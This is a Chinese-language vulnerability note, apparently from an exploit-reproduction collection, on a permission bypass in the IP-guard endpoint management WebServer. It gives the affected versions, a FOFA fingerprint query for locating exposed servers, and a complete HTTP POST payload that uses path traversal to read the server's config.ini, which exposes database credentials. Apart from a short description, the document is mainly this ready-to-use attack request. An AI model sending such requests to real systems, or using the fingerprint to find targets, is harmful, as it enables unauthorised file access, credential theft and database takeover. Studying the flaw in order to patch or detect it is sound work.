I1-3IP-Guard-终端安全管理软件-PermissionAC

漏洞描述：

2024年4月，互联网上披露IP-guard WebServer权限绕过漏洞情报，攻击者可利用该漏洞读取配置文件，获取数据库权限。该漏洞利用简单，建议受影响的客户尽快修复漏洞。
漏洞成因
由于权限验证机制中存在设计缺陷，攻击者能够规避安全验证，通过后端接口执行文件的任意读取和删除操作。
漏洞影响
该漏洞的成功利用允许攻击者规避安全验证，通过后端接口执行文件的任意读取和删除操作。利用这一漏洞，攻击者有可能获取数据库的配置详情，并控制整个数据库系统。

影响版本：

```
IP-guard < 4.82.0609.0
```

网站图片：

网络测绘：

fofa语法：

FOFA：icon_hash="2030860561"

漏洞复现：

payload：

```
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
```

效果图:
读取config.ini